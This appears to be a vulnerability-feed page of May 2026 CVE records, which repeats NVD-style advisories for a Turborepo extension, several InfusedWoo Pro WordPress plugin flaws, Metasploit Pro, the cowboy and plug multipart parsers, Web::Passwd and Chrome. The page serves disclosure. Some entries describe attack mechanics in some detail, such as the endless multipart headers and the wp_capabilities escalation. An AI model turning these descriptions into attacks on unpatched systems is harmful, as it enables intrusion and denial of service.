https://kevwire.com/record/CVE-2026-46474
Trog::TOTP versions before 1.006 for Perl generate secrets using rand. (May 15, 2026).
Trog::TOTP versions before 1.006 for Perl generate secrets using rand.

Secrets were generated using Perl's built-in rand function, which is predictable and unsuitable for security usage.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46474).
Sources:
NVD CVE-2026-46474: https://nvd.nist.gov/vuln/detail/CVE-2026-46474
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Trog::TOTP versions before 1.006 for Perl generate secrets using rand.

Secrets were generated using Perl's built-in rand function, which is predictable and unsuitable for security usage.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Turborepo is a high-performance build system for JavaScript and TypeScript codebases.
https://kevwire.com/record/CVE-2026-46508
Turborepo is a high-performance build system for JavaScript and TypeScript codebases. (May 15, 2026).
Turborepo is a high-performance build system for JavaScript and TypeScript codebases. Prior to 2.9.14000, the Turborepo LSP VS Code extension could execute shell commands derived from workspace-controlled values. The extension used string-based command execution for Turborepo daemon commands and task runs. A malicious workspace could provide crafted values through workspace settings or task names in the repository's source code that were interpolated into shell commands. When the extension activated or when a user ran a task through the extension, those values could be interpreted by the user's shell, allowing arbitrary command execution with the privileges of the local VS Code process. This vulnerability is fixed in 2.9.14000.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46508).
Sources:
NVD CVE-2026-46508: https://nvd.nist.gov/vuln/detail/CVE-2026-46508
Vendor advisory (via NVD references): https://github.com/vercel/turborepo/security/advisories/GHSA-5xc8-49mv-x4mm
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Turborepo is a high-performance build system for JavaScript and TypeScript codebases. Prior to 2.9.14000, the Turborepo LSP VS Code extension could execute shell commands derived from workspace-controlled values. The extension used string-based command execution for Turborepo daemon commands and task runs. A malicious workspace could provide crafted values through workspace settings or task names in the repository's source code that were interpolated into shell commands. When the extension activated or when a user ran a task through the extension, those values could be interpreted by the user's shell, allowing arbitrary command execution with the privileges of the local VS Code process. This vulnerability is fixed in 2.9.14000.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CWE-312: Cleartext Storage of Sensitive Information vulnerability exists that could cause the disclosure of a sensitive information  which could result in revealing protected...
https://kevwire.com/record/CVE-2026-6332
CWE-312: Cleartext Storage of Sensitive Information vulnerability exists that could cause the disclosure of a sensitive information  which could result in revealing protected... (May 14, 2026).
CWE-312: Cleartext Storage of Sensitive Information vulnerability exists that could cause the disclosure of a sensitive information  which could result in revealing protected source code and loss of confidentiality, When an authorized attacker accesses the source code for editing or compiling it.
CVSS 6.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6332).
Sources:
NVD CVE-2026-6332: https://nvd.nist.gov/vuln/detail/CVE-2026-6332
Vendor advisory (via NVD references): https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2026-132-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2026-132-01.pdf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
CWE-312: Cleartext Storage of Sensitive Information vulnerability exists that could cause the disclosure of a sensitive information  which could result in revealing protected source code and loss of confidentiality, When an authorized attacker accesses the source code for editing or compiling it.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 5.1.2.
https://kevwire.com/record/CVE-2026-6506
The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 5.1.2. (May 14, 2026).
The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 5.1.2. This is due to the infusedwoo_gdpr_upddata() function missing authorization and capability checks, as well as lacking restrictions on which user meta keys can be updated. This makes it possible for authenticated attackers, with subscriber-level access and above, to update their own wp_capabilities user meta to grant themselves Administrator role privileges.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6506).
Sources:
NVD CVE-2026-6506: https://nvd.nist.gov/vuln/detail/CVE-2026-6506
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 5.1.2. This is due to the infusedwoo_gdpr_upddata() function missing authorization and capability checks, as well as lacking restrictions on which user meta keys can be updated. This makes it possible for authenticated attackers, with subscriber-level access and above, to update their own wp_capabilities user meta to grant themselves Administrator role privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation via missing authorization in all versions up to, and including, 5.1.2.
https://kevwire.com/record/CVE-2026-6510
The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation via missing authorization in all versions up to, and including, 5.1.2. (May 14, 2026).
The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation via missing authorization in all versions up to, and including, 5.1.2. This is due to missing nonce verification and capability checks in the iwar_save_recipe() AJAX handler. This makes it possible for unauthenticated attackers to create a malicious automation recipe that pairs an HTTP post trigger with an auto-login action, allowing any unauthenticated visitor to visit a crafted URL and receive authentication cookies for any targeted user account (e.g., administrator), achieving complete authentication bypass and privilege escalation.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6510).
Sources:
NVD CVE-2026-6510: https://nvd.nist.gov/vuln/detail/CVE-2026-6510
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation via missing authorization in all versions up to, and including, 5.1.2. This is due to missing nonce verification and capability checks in the iwar_save_recipe() AJAX handler. This makes it possible for unauthenticated attackers to create a malicious automation recipe that pairs an HTTP post trigger with an auto-login action, allowing any unauthenticated visitor to visit a crafted URL and receive authentication cookies for any targeted user account (e.g., administrator), achieving complete authentication bypass and privilege escalation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The InfusedWoo Pro plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.1.2.
https://kevwire.com/record/CVE-2026-6512
The InfusedWoo Pro plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.1.2. (May 14, 2026).
The InfusedWoo Pro plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.1.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to permanently delete arbitrary posts, pages, products, or orders, mass-delete all comments on any post, and change any post's status.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6512).
Sources:
NVD CVE-2026-6512: https://nvd.nist.gov/vuln/detail/CVE-2026-6512
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The InfusedWoo Pro plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.1.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to permanently delete arbitrary posts, pages, products, or orders, mass-delete all comments on any post, and change any post's status.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The InfusedWoo Pro plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 5.1.2 via the popup_submit.
https://kevwire.com/record/CVE-2026-6514
The InfusedWoo Pro plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 5.1.2 via the popup_submit. (May 14, 2026).
The InfusedWoo Pro plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 5.1.2 via the popup_submit. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6514).
Sources:
NVD CVE-2026-6514: https://nvd.nist.gov/vuln/detail/CVE-2026-6514
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The InfusedWoo Pro plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 5.1.2 via the popup_submit. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack exhaustion vulnerability in the MongoDB PHP driver can cause application crashes when processing deeply nested BSON documents in unusual circumstances when the source of...
https://kevwire.com/record/CVE-2026-6811
Stack exhaustion vulnerability in the MongoDB PHP driver can cause application crashes when processing deeply nested BSON documents in unusual circumstances when the source of... (May 14, 2026).
Stack exhaustion vulnerability in the MongoDB PHP driver can cause application crashes when processing deeply nested BSON documents in unusual circumstances when the source of these BSON documents is not MongoDB Server.
CVSS 6.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6811).
Sources:
NVD CVE-2026-6811: https://nvd.nist.gov/vuln/detail/CVE-2026-6811
Vendor advisory (via NVD references): https://jira.mongodb.org/browse/PHPC-2636
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Stack exhaustion vulnerability in the MongoDB PHP driver can cause application crashes when processing deeply nested BSON documents in unusual circumstances when the source of these BSON documents is not MongoDB Server.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Diagram's export module is vulnerable to Path Traversal in src attribute due to lack of HTML sanitization.
https://kevwire.com/record/CVE-2026-7182
Diagram's export module is vulnerable to Path Traversal in src attribute due to lack of HTML sanitization. (May 15, 2026).
Diagram's export module is vulnerable to Path Traversal in src attribute due to lack of HTML sanitization. An unauthenticated user could craft the html payload which could include
 local files from the server and display them in the generated pdf.  

This issue was fixed in version 1.1.1.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7182).
Sources:
NVD CVE-2026-7182: https://nvd.nist.gov/vuln/detail/CVE-2026-7182
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Diagram's export module is vulnerable to Path Traversal in src attribute due to lack of HTML sanitization. An unauthenticated user could craft the html payload which could include
 local files from the server and display them in the generated pdf.  

This issue was fixed in version 1.1.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rapid7 Metasploit Pro is vulnerable to a local privilege escalation attack that allows a user to gain SYSTEM level control of a Windows host.
https://kevwire.com/record/CVE-2026-7373
Rapid7 Metasploit Pro is vulnerable to a local privilege escalation attack that allows a user to gain SYSTEM level control of a Windows host. (May 15, 2026).
Rapid7 Metasploit Pro is vulnerable to a local privilege escalation attack that allows a user to gain SYSTEM level control of a Windows host. When started the metasploitPostgreSQL service would start the postgres.exe child process which would in turn load an OpenSSL configuration file from a static location. This static location would be writable by a pre-existing "vagrant" user, if they already existed on the system. Metasploit does not create local accounts, an Administrator would need to create it. By planting a crafted openssl.cnf file an attacker can trick the high-privilege service into executing arbitrary commands. This effectively permits the unprivileged vagrant user to bypass security controls and achieve a full host compromise under the agent's SYSTEM level access.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7373).
Sources:
NVD CVE-2026-7373: https://nvd.nist.gov/vuln/detail/CVE-2026-7373
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Rapid7 Metasploit Pro is vulnerable to a local privilege escalation attack that allows a user to gain SYSTEM level control of a Windows host. When started the metasploitPostgreSQL service would start the postgres.exe child process which would in turn load an OpenSSL configuration file from a static location. This static location would be writable by a pre-existing "vagrant" user, if they already existed on the system. Metasploit does not create local accounts, an Administrator would need to create it. By planting a crafted openssl.cnf file an attacker can trick the high-privilege service into executing arbitrary commands. This effectively permits the unprivileged vagrant user to bypass security controls and achieve a full host compromise under the agent's SYSTEM level access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in ninenines cowboy allows denial of service via unbounded buffer accumulation in multipart header parsing.
https://kevwire.com/record/CVE-2026-8466
Allocation of Resources Without Limits or Throttling vulnerability in ninenines cowboy allows denial of service via unbounded buffer accumulation in multipart header parsing. (May 13, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in ninenines cowboy allows denial of service via unbounded buffer accumulation in multipart header parsing.

cowboy_req:read_part/3 in src/cowboy_req.erl accumulates incoming request bytes into a Buffer binary with no upper-bound check. When cow_multipart:parse_headers/2 returns more or {more, Buffer2}, the function reads up to Length bytes (default 64 KB) from the request body and recurses with the enlarged buffer. There is no equivalent of the byte_size(Acc) > Length guard present in the sibling function read_part_body/4. An unauthenticated attacker can send a multipart/form-data request whose body never yields a complete header section — for example, a body that never contains the advertised boundary delimiter, or one whose header lines never contain \r\n\r\n — and force the server process to accumulate memory linearly with the bytes the protocol layer is willing to deliver. A handful of concurrent such uploads is sufficient to exhaust BEAM memory.

This issue affects cowboy from 2.0.0 before 2.15.0.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8466).
Sources:
NVD CVE-2026-8466: https://nvd.nist.gov/vuln/detail/CVE-2026-8466
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Allocation of Resources Without Limits or Throttling vulnerability in ninenines cowboy allows denial of service via unbounded buffer accumulation in multipart header parsing.

cowboy_req:read_part/3 in src/cowboy_req.erl accumulates incoming request bytes into a Buffer binary with no upper-bound check. When cow_multipart:parse_headers/2 returns more or {more, Buffer2}, the function reads up to Length bytes (default 64 KB) from the request body and recurses with the enlarged buffer. There is no equivalent of the byte_size(Acc) > Length guard present in the sibling function read_part_body/4. An unauthenticated attacker can send a multipart/form-data request whose body never yields a complete header section — for example, a body that never contains the advertised boundary delimiter, or one whose header lines never contain \r\n\r\n — and force the server process to accumulate memory linearly with the bytes the protocol layer is willing to deliver. A handful of concurrent such uploads is sufficient to exhaust BEAM memory.

This issue affects cowboy from 2.0.0 before 2.15.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in plug_project plug allows denial of service via unbounded buffer accumulation in multipart header parsing.
https://kevwire.com/record/CVE-2026-8468
Allocation of Resources Without Limits or Throttling vulnerability in plug_project plug allows denial of service via unbounded buffer accumulation in multipart header parsing. (May 14, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in plug_project plug allows denial of service via unbounded buffer accumulation in multipart header parsing.

'Elixir.Plug.Conn':read_part_headers/2 in lib/plug/conn.ex does not obey its :length parameter. There is no upper bound on the size of the accumulated buffer. By contrast, the sibling function read_part_body has an explicit byte_size(acc) > length guard that stops accumulation once a limit is reached. No such guard exists in read_part_headers. An unauthenticated remote attacker can exhaust server memory by sending a crafted multipart/form-data request, causing a denial of service.

This issue affects plug from 1.4.0 before 1.15.4, 1.16.3, 1.17.1, 1.18.2, and 1.19.2.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8468).
Sources:
NVD CVE-2026-8468: https://nvd.nist.gov/vuln/detail/CVE-2026-8468
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Allocation of Resources Without Limits or Throttling vulnerability in plug_project plug allows denial of service via unbounded buffer accumulation in multipart header parsing.

'Elixir.Plug.Conn':read_part_headers/2 in lib/plug/conn.ex does not obey its :length parameter. There is no upper bound on the size of the accumulated buffer. By contrast, the sibling function read_part_body has an explicit byte_size(acc) > length guard that stops accumulation once a limit is reached. No such guard exists in read_part_headers. An unauthenticated remote attacker can exhaust server memory by sending a crafted multipart/form-data request, causing a denial of service.

This issue affects plug from 1.4.0 before 1.15.4, 1.16.3, 1.17.1, 1.18.2, and 1.19.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Web::Passwd versions through 0.03 for Perl is vulnerable to RCE.
https://kevwire.com/record/CVE-2026-8500
Web::Passwd versions through 0.03 for Perl is vulnerable to RCE. (May 13, 2026).
Web::Passwd versions through 0.03 for Perl is vulnerable to RCE.

Web::Passwd is a small CGI application for managing htpasswd files using the htpasswd command.

The user parameter is not validated or escaped, and is used as the last argument on the command line, allowing for command injection.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8500).
Sources:
NVD CVE-2026-8500: https://nvd.nist.gov/vuln/detail/CVE-2026-8500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Web::Passwd versions through 0.03 for Perl is vulnerable to RCE.

Web::Passwd is a small CGI application for managing htpasswd files using the htpasswd command.

The user parameter is not validated or escaped, and is used as the last argument on the command line, allowing for command injection.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap buffer overflow in WebML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8509
Heap buffer overflow in WebML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (May 14, 2026).
Heap buffer overflow in WebML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8509).
Sources:
NVD CVE-2026-8509: https://nvd.nist.gov/vuln/detail/CVE-2026-8509
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Heap buffer overflow in WebML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow in Skia in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory...
https://kevwire.com/record/CVE-2026-8510
Integer overflow in Skia in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory... (May 14, 2026).
Integer overflow in Skia in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8510).
Sources:
NVD CVE-2026-8510: https://nvd.nist.gov/vuln/detail/CVE-2026-8510
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Integer overflow in Skia in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8511
Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (May 14, 2026).
Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8511).
Sources:
NVD CVE-2026-8511: https://nvd.nist.gov/vuln/detail/CVE-2026-8511
